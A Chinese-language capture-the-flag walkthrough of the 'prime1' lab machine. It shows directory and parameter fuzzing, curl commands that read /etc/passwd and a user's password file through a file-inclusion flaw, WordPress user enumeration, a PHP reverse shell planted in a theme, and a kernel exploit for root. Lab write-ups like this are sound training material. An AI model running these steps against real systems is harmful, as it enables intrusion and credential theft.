prime1

yang-ace / 2024-04-29 / 原文

prime1

主机发现

image-20240428194751339

发现服务、得到80 http、22 ssh

image-20240428194911356

  • 有登录框就SQL注入、密码爆破
  • 无登录框就目录扫描

目录扫描:drib dirsearch 御剑 dirbuster(kali终端输入,启动图形化界面) burpsuite

  1. 普通扫描

    dirb http://192.168.218.146/
    

    得到

    http://192.168.218.146/dev
    http://192.168.218.146/index.php
    http://192.168.218.146/wordpress
    
  2. 指定扫描

    -X指定后缀扫描

    dirb http://192.168.218.146/ -X .txt,.php,.zip
    

    得到

    http://192.168.218.146/image.php                                 http://192.168.218.146/index.php                               http://192.168.218.146/secret.txt
    

    挨个进入发现secret.txt

    image-20240429191912808

    提示使用fuzz工具,看到location.txt会知道怎么做

    wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt http://192.168.218.146/index.php?FUZZ
    

    image-20240429193726798

    过滤12个word结果

    wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt --hc 404 --hw 12  http://192.168.218.146?FUZZ=wuya
    

    image-20240429193747095

得到提示file,根据上一步提示文件location.txt

image-20240429194104486

提示使用secrettier360参数在其他php页面进行挖掘信息,访问

curl http://192.168.218.146/image.php?secrettier360=/etc/passwd

image-20240429194601953

结合刚才发现的读取文件漏洞,构造

curl http://192.168.218.146/image.php?secrettier360=/home/saket/password.txt

image-20240429194828302

现在有密码,通过wpsan扫描用户名

wpscan --url http://192.168.218.146/wordpress/ --enumerate u

image-20240429203106121

利用漏洞进行代码上传

生成php反弹shell

image-20240429203451140

在网站写入shell

image-20240429203520406

启动msfconsole

image-20240429203755257

run然后访问

wordpress/wp-content/themes/twentynineteen/secret.php

image-20240429203944000

提权
查看版本

image-20240429204112260

使用msf查找

searchsploit 16.04 Ubuntu

image-20240429204209104

先将文件拷贝到root下

image-20240429204330962

我的kali版本太高,所以使用靶机进行编译

image-20240429204615734

将文件上传到/tmp

image-20240429204917696

image-20240429204952259